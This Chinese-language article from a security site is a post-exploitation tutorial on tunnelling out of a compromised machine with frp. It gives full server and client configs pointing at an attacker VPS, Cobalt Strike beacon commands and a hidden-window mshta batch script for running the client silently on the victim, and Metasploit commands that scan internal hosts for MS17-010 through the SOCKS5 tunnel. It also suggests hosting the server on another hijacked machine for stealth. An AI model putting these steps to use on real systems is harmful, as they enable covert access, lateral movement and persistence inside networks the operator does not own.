标题 简介 类型 公开时间
关联规则 关联知识 关联工具 关联文档 关联抓包
参考1(官网)
参考2
参考3
详情
[SAFE-ID: JIWO-2024-2522]   作者: hudie 发表于: [2019-12-13]

本文共 [588] 位读者顶过

前言

实战中,当通过某种方式拿下测试虚拟机权限时,发现该机器可出网。此时为了内网横向渗透与团队间的协同作战,可以利用Frp在该机器与VPS之间建立一条“专属通道”,并借助这条通道达到内网穿透的效果。实战中更多时候依靠 Socks5 。

更多详细使用方法,可查看官方Github,这里不再赘述。

https://github.com/fatedier/frp/

[出自:jiwo.org]

前期准备

先准备一台VPS与域名。

因某种情况会更换VPS地址,为了减少更改frp配置文件的次数,所以做域名泛解析。若更换VPS,直接编辑域名解析地址即可。



下载地址

Frp下载地址 [跨平台,实战中根据目标机版本选择下载]

https://github.com/fatedier/frp/releases

配置文件


服务端


1 #通用配置段
2 [common]
3 #frp服务端监听 [VPS]
4 bind_addr = 0.0.0.0
5 #frp服务器监听端口 [实战中可以用一些通透性较好的端口]
6 bind_port = 7007
7
8 #服务端Web控制面板登录端口 [通过控制面板,可以实时了解到数据收发情况。实战中用处不大]
9 dashboard_port = 6609
10 #服务端Web控制面板用户名与密码 [强口令]
11 dashboard_user = SuperMan
12 dashboard_pwd = WC3pvjmh2tt8
13
14 #日志输出位置,所有的日志信息都放到当前目录下的frps.log文件中
15 log_file = ./frps.log
16 #日志记录等级,有trace、debug、info、warn、error,通常情况下为info
17 log_level = info
18 #日志保留时间
19 log_max_days = 3
20
21 #验证凭据,服务端和客户端的凭据必须一样才能连接
22 auth_token = E0iQEBOdoJeh
23 #启用特权模式,从v0.10.0版本开始默认启用特权模式 [特权模式下,客户端更改配置无需更新服务端]
24 privilege_mode = true
25 #特权模式Token [强口令,建议随机生成]
26 privilege_token = kukezkHC8R1H
27 #特权模式允许分配的端口 [避免端口被滥用]
28 privilege_allow_ports = 4000-50000
29
30 #心跳检测超时时长
31 heartbeat_timeout = 30
32
33 #每个代理可以设置的连接池上限
34 max_pool_count = 20
35
36 #口令认证超时时间,一般不用改
37 authentication_timeout = 900
38
39 #指定子域名,后续将全部用域名的形式进行访问 [特权模式需下将 *.xxxx.online 解析到外网VPS上,即域名泛解析]
40 subdomain_host = xxxx.online

客户端

1 #通用配置段
2 [common]
3 #frp服务端IP或域名 [实战中一般都会直接用域名]
4 server_addr = frp.xxxx.online
5 #frp服务器端口
6 server_port = 7007
7
8 #授权token,此处必须与服务端保持一致,否则无法建立连接
9 auth_token = E0iQEBOdoJeh
10 #启用特权模式 [特权模式下服务端无需配置]
11 privilege_mode = true
12 #特权模式 token,同样要与服务端完全保持一致
13 privilege_token = kukezkHC8R1H
14
15 #心跳检查间隔与超时时间
16 heartbeat_interval = 10
17 heartbeat_timeout = 30
18
19 #启用加密 [通信内容加密传输,有效防止流量被拦截]
20 use_encryption = true
21 #启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源]
22 use_compression = true
23
24 #连接数量
25 pool_count = 20
26
27 #内网穿透通常用socks5
28 [socks5]
29 type = tcp
30 #连接VPS内网穿透的远程连接端口
31 remote_port = 9066
32 #使用插件socks5代理
33 plugin = socks5
34 #socks5连接口令 [根据实际情况进行配置]
35 #plugin_user = SuperMan
36 #plugin_passwd = ZBO0McQe6mE1

执行部署

服务端

SSH连接到VPS上,后台启动frp服务端。

1 root@Ubuntu:~# cd tools/frp/
2 root@Ubuntu:~/tools/frp# nohup ./frps -c frps.ini &
3 root@Ubuntu:~/tools/frp# jobs -l
4 root@Ubuntu:~/tools/frp# cat frps.log




客户端

frpc.exefrpc.ini传到目标机的同一目录下,直接运行。





当frp客户端启动后,是否成功连接,都会在frp服务端日志中查看到。


但如果直接在目标机的Beacon中启动frp客户端,会持续有日志输出,并干扰该pid下的其他操作,所以可结合execute在目标机无输出执行程序。


1 beacon> sleep 10
2 beacon> execute c:/frpc.exe -c c:/frpc.ini
3 beacon> shell netstat -ano |findstr 7007

或者,创建后台运行的bat脚本。


1 @echo off
2 if "%1" == "h" goto begin
3 mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit
4 :begin
5 c:\frpc.exe -c c:\frpc.ini

工具穿透

Metasploit

当“专属通道”打通后,可直接在msf中挂该代理。因为msf的模块较多,所以在内网横向移动中更是一把利器。[若socks5设置口令,可结合proxychains]



1 # sudo msfconsole -q
2 msf5 > setg proxies socks5:frp.xxxx.online:9066
3 msf5 > use auxiliary/scanner/smb/smb_ms17_010
4 msf5 auxiliary(scanner/smb/smb_ms17_010) > set threads 10
5 msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.144.178
6 msf5 auxiliary(scanner/smb/smb_ms17_010) > run


Windows

Windows中可结合Proxifier、SSTap等工具,可设置socks5口令,以此达到用windows渗透工具横向穿透的效果。










小结

Frp的用法比较灵活且运行稳定。如 可将frp服务端挂在“做菜的肉鸡”上,以达到隐蔽性,也可将客户端做成服务自启的形式等。


评论

暂无
发表评论
 返回顶部 
热度(588)
 关注微信